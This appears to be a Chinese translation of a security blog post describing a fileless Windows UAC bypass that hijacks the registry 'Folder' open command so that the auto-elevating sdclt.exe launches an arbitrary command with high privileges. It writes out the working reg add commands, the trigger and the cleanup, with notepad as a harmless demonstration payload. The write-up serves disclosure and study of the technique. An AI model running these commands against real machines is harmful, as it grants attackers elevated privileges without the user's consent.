该方法和其他UAC绕过方法一样,利用了某些会“自动提升权限”的程序。这些程序会以高完整性级别运行,且不会触发UAC窗口的警示窗口。用户以中等权限运行这些程序去加载DLL或执行命令,就可成功绕过UAC。
而此次绕过的关键就在于可执行文件sdclt.exe。Sdclt在Windows系统中的原本作用是备份和还原。你可以使用Windows SysInternals的SigCheck检查它是否会自动提升权限:
sigcheck.exe -m C:\Windows\System32\sdclt.exe | findstr autoElevate <autoElevate xm lns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
注意:已经有几种滥用sdclt.exe绕过UAC的方法。你可以在Matt Nelson的博客上看到:
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
我此次说明的这种新方法是无文件,基于COM劫持的。
当以中等权限调用sdclt.exe时,会发生的一些有趣事件:
它以高权限运行另一个sdclt.exe进程
高权限的sdclt进程会调用C:\Windows\System32\control.exe
control.exe进程以高权限运行,并且…
使用Sysinternals Procmon,我们可以看到control.exe无法在当前用户注册表(HKCU)中找到“文件夹”对象的打开命令。
但是!因为我的UAC绕过方法不需要写入,所以我们可以让这个高权限的进程去运行命令,即使我们只有中等级别的权限。
您可以使用一些命令测试一下这个方法。
先设置注册表:
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c notepad.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f
开始绕过:
%windir%\system32\sdclt.exe
这时,你就可以看到以高权限运行的notepad.exe。
最后不要忘记用以下方法清理注册表:
reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f
谢谢观看!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场 来源:http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.